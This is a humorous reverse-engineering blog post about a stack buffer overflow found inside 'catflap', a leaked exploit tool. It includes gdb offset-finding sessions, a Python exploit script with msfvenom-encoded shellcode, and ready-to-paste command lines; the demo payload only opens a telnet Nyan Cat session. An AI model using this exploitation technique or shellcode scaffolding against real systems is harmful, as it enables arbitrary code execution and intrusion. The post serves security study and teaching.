I was looking for some basic reversing fun to sharpen my skills when the "Shadow Brokers" dump happened. Among the tools leaked was an executable (ELF) named "catflap". A leaked NSA tool... in ELF format... named "catflap". How could I not reverse it?!
I fired up Radare2 and started reversing. I eventually got to the function at 0x08048a10 which appears to create an "evil buffer" to intentionally cause an overflow. Halfway through reversing the algorithm, I discovered that this function itself has a buffer overflow. There is an overflow in the overflow. Not just that, but it is the most trivial buffer overflow to exploit that I have ever seen.
I chose to go with public disclosure as I did not expect a response if I reached out to the vendor. Due to this vulnerability's very low severity, I didn’t have time to think of a trendy name (sorry, there goes my media coverage). Do you think this deserves a CVE?
As a side note, I’m primarily calling this a “zero day” for comical value. I haven't seen this specific vulnerability in catflap (let alone any vulnerability in catflap) mentioned elsewhere. Googling "catflap exploit" will not help, since catflap itself is an exploit.
Note: If someone else deserves some credit for this, let me know and I will attribute them their due.
Before we get into the exploit, let us consider why this vulnerability exists.
I posit there are three possibilities:
1. THE DEVELOPER WAS AN IDIOT
This overflow is very obvious, or at least it should be to any exploit developer. However, blaming a vuln on an incompetent dev is almost always wrong. The tools that have been leaked come from the Equation Group which is a threat actor named due to their affinity for difficult math and cryptography. Moreover, it is dangerous to consider an adversary an idiot (...but is the Equation Group an adversary?). It's more likely that the dev simply did not care about how blatant the overflow is.
2. THE DEV DID NOT CARE
This is most probable. Someone likely whipped this exploit together in C real fast with little regard for bounds checking. The vulnerability occurs in the command line options. An attacker hoping to get RCE on the Equation Group would have to convince an Equation Group member to run catflap with strange parameters - parameters that look an awful lot like shellcode... If you can get the Equation Group to run one of their own secret tools with your shellcode, (where no shellcode should exit), then you deserve OP on every IRC channel (just hit alt+f4). The exploit vector is very weak, so why would an exploit developer waste time tracking down such bugs?
3. THE TOOL HAS A DUAL PURPOSE
I like this idea a lot, but this is really just wild speculation. On a compromised box, you would expect to find viruses and exploits; exploits to pivot into other boxes and a virus to maintain persistence. Both are treated very differently! So, what if catflap was both? Catflap can reliably load arbitrary shellcode via the overflow. This is just like a virus dropper but with every appearance of an exploit. When you find something that looks like an exploit, smells like an exploit, and runs like an exploit, this means you will probably be looking harder for a pivot attack on the network than an infection on the local machine.
While this is a neat idea, I really doubt this is the original purpose of catflap. Catflap apparently exploits a known overflow in /bin/login. It is probably an old exploit (it lacks NX) and was left around just in case. Other minor clues in the ELF indicate that the dev was not very careful about memory management, meaning it’s probably the second option. That said, catflap still has the potential to run arbitrary shellcode reliably, as we will see. So, if you find catflap on a compromised box, don’t get caught up thinking “stupid hacker, we don’t use Solaris”, or “OMG my precious Solaris!”. Consider that catflap could have been used as a virus to get persistence on the local box.
Alright, on to the good stuff. The function at 0x08048a10 appears to build an "evil buffer" to be used for the Solaris exploit. One of the parameters it accepts (ebp+0x10) is the user-supplied command to be run on the Solaris Machine. The user's command is duplicated into the heap with strdup (@0x08048a3e). We will refer to the returned heap pointer cmd_dup. The loop at 0x8048c00 explodes the cmd_dup string on whitespace characters (0x20,0x09).
For clarity, the following is what that explode loop would look like in python:
>>> cmd = "ls -l\t/" # command provided by user >>> exploded_cmd= cmd.split() # the loop splits the command on whitespace >>> exploded_cmd ['ls', '-l', '/']
In C, it is not so simple, as the explode loop replaces each white space (0x20 and 0x09) with a null byte. The next iteration then double-checks that the next byte is not a whitespace character, then appends a pointer to that character in an array of type: char ** at ebp-0x228. Let’s call the ebp-0x228 array exploded_cmd. The exploded_cmd array is obviously on the stack (referenced from ebp), but the explode loop never checks the size of the array before writing to it. This means by providing a command string with a lot of space-separated characters, the exploit_cmd will fill the stack into higher memory locations eventually overwriting the saved return address.
After the loop finishes, a check is performed to see if the null pointer used to terminate the exploded_cmd array was clobbered. If so, the function prints "Command string has too many tokens" and returns.
I want catflap to play Nyan Cat in the terminal. That is my goal.
The exploit is incredibly easy and reliable. We can not directly control with what the return address is overwritten, but we don't care. The return address will be overwritten with a pointer to our buffer! The buffer is already in the heap. Consequently, NX and ASLR would be bypassed if they were enabled. The check to determine if the end of the array got corrupted is a useless technique to mitigate the exploit. At the time of the check, the return address is already overwritten. Not only that, failing the check does not cause an exit(-1) but rather a return! This is like finding your stack canary dead but continuing down the mine anyway.
Hitting shellcode is easy, we just need the offset. The easiest way to find the offset is to just run the program with a big buffer containing unique characters separated by spaces, then see to where the program tries to return.
The following script is used (offset.py):
l = [ ] # remember 0x20 and 0x09 are bad chars for i in xrange(0x21, 0xff): l.append(chr(i)) print " ".join(l)
Start catflap in gdb and set a breakpoint on the function's return (0x08049186):
$ gdb -q catflap (gdb) b *0x08049186 Breakpoint 1 at 0x8049186 (gdb) run asdf "$(python offset.py )" Starting program: /tmp/catflap asdf "$(python offset.py )" Command string has too many tokens Breakpoint 1, 0x08049186 in ?? () (gdb) x/3i $eip => 0x8049186: ret 0x8049187: mov %esi,%esi 0x8049189: lea 0x0(%edi,%eiz,1),%edi (gdb) ni 0x0804c116 in ?? () (gdb) x/3bx $eip 0x804c116: 0xa8 0x00 0x78 (gdb) x/100bx $eip-30 0x804c0f8: 0x99 0x00 0x9a 0x00 0x9b 0x00 0x9c 0x00 0x804c100: 0x9d 0x00 0x9e 0x00 0x9f 0x00 0xa0 0x00 0x804c108: 0xa1 0x00 0xa2 0x00 0xa3 0x00 0xa4 0x00 0x804c110: 0xa5 0x00 0xa6 0x00 0xa7 0x00 0xa8 0x00 0x804c118: 0x78 0x78 0x78 0x78 0x20 0x78 0x78 0x20 0x804c120: 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x78 0x804c128: 0x5c 0x31 0x30 0x5c 0x34 0x5c 0x33 0x30 0x804c130: 0x31 0x5c 0x31 0x36 0x20 0x78 0x20 0x78 0x804c138: 0x20 0x78 0x20 0x78 0x20 0x78 0x20 0x78 0x804c140: 0x20 0x78 0x20 0x78 0x20 0x78 0x20 0x78 0x804c148: 0x20 0x78 0x20 0x78 0x20 0x78 0x20 0x5c 0x804c150: 0x0a 0x78 0x20 0x78 0x20 0x78 0x20 0x78 0x804c158: 0x20 0x78 0x20 0x78
In the "x/100bx $eip-30", command we see that every even byte is incremented and every odd byte is null. This means we landed in the buffer. In the "x/3bx $eip" command, we see the byte we landed on was 0xa8. Our offset.py script started the bytes at 0x21 (to avoid white space) so we subtract 0xa8-0x21 to get 0x87. We need 0x87 characters separated by spaces, then our shellcode.
Let's first double-check the offset with this code:
$ cat offset.py l = [ ] for i in xrange(0x87): l.append("Z") l.append("BBBB") print " ".join(l) $ gdb -q catflap Reading symbols from /tmp/catflap...(no debugging symbols found)...done. (gdb) b *0x08049186 Breakpoint 1 at 0x8049186 (gdb) run asdf "$(python offset.py )" Starting program: /tmp/catflap asdf "$(python offset.py )" Command string has too many tokens Breakpoint 1, 0x08049186 in ?? () (gdb) ni 0x0804c116 in ?? () (gdb) x/5bx $eip 0x804c116: 0x42 0x42 0x42 0x42 0x00
We hit the first "B" (0x42), so we just need to put shellcode there and we have code execution. Where do we get Nyan Cat shellcode? Metasploit of course! The nyancat.dakko.us server hosts telnet Nyan Cat, we just need to run the command "telnet nyancat.dakko.us". Metasploit's msfvenom has a "linux/x86/exec" payload that can execute the telnet command. I will use the ASCII encoder to make it a bit more pretty when we run it on the command line.
Note: Don't forget about bad bytes. The null byte would actually be okay because we can just replace it with a 0x20 and the program will turn it into a 0x00. This would mess with offsets, though, so it's best to avoid it.
$ cat ~/exploit.py #!/usr/bin/python import sys # telnet nancat # > msfvenom -p linux/x86/exec -b '\x20\x09' -v shellcode -f python CMD="telnet nyancat.dakko.us" -e x86/alpha_mixed # No platform was selected, choosing Msf::Module::Platform::Linux from the payload # No Arch selected, selecting Arch: x86 from the payload # Found 1 compatible encoders # Attempting to encode payload with 1 iterations of x86/alpha_mixed # x86/alpha_mixed succeeded with size 179 (iteration=0) # x86/alpha_mixed chosen with final size 179 # Payload size: 179 bytes # Final size of python file: 972 bytes shellcode = "" shellcode += "\x89\xe1\xda\xcb\xd9\x71\xf4\x5a\x4a\x4a\x4a\x4a" shellcode += "\x4a\x4a\x4a\x4a\x4a\x4a\x4a\x43\x43\x43\x43\x43" shellcode += "\x43\x37\x52\x59\x6a\x41\x58\x50\x30\x41\x30\x41" shellcode += "\x6b\x41\x41\x51\x32\x41\x42\x32\x42\x42\x30\x42" shellcode += "\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49\x62" shellcode += "\x4a\x46\x6b\x51\x48\x4a\x39\x73\x62\x35\x36\x33" shellcode += "\x58\x74\x6d\x31\x73\x6c\x49\x69\x77\x50\x68\x56" shellcode += "\x4f\x61\x63\x73\x58\x75\x50\x43\x58\x36\x4f\x50" shellcode += "\x62\x71\x79\x30\x6e\x6c\x49\x79\x73\x51\x42\x79" shellcode += "\x78\x42\x38\x47\x70\x77\x70\x75\x50\x52\x54\x31" shellcode += "\x75\x70\x6c\x70\x6e\x31\x75\x44\x34\x75\x70\x50" shellcode += "\x6e\x51\x69\x30\x61\x30\x6e\x33\x53\x63\x51\x71" shellcode += "\x64\x74\x6e\x30\x64\x53\x51\x72\x4b\x32\x4b\x50" shellcode += "\x6f\x64\x6e\x72\x55\x74\x33\x55\x50\x42\x77\x76" shellcode += "\x33\x6f\x79\x48\x61\x38\x4d\x4d\x50\x41\x41" l =  for i in xrange(0x87): l.append("A") l.append(shellcode) if ( len(sys.argv) == 1 ) : print " ".join(l) else: print repr( " ".join(l) )
And finally the big payoff:
$ ./catflap asdf "$(python ~/exploit.py )"
Or, if you would want to try at home (however, don't ever run commands someone tells you to):
$ python ~/exploit.py a 'A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A \x89\xe1\xda\xcb\xd9q\xf4ZJJJJJJJJJJJCCCCCC7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIbJFkQHJ9sb563Xtm1slIiwPhVOacsXuPCX6OPbqy0nlIysQByxB8GpwpuPRT1uplpn1uD4upPnQi0a0n3ScQqdtn0dSQrK2KPodnrUt3UPBwv3oyHa8MMPAA' $ ./catflap a "$(printf 'A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A A \x89\xe1\xda\xcb\xd9q\xf4ZJJJJJJJJJJJCCCCCC7RYjAXP0A0AkAAQ2AB2BB0BBABXP8ABuJIbJFkQHJ9sb563Xtm1slIiwPhVOacsXuPCX6OPbqy0nlIysQByxB8GpwpuPRT1uplpn1uD4upPnQi0a0n3ScQqdtn0dSQrK2KPodnrUt3UPBwv3oyHa8MMPAA')"
To see it in action, check out the following asciinema: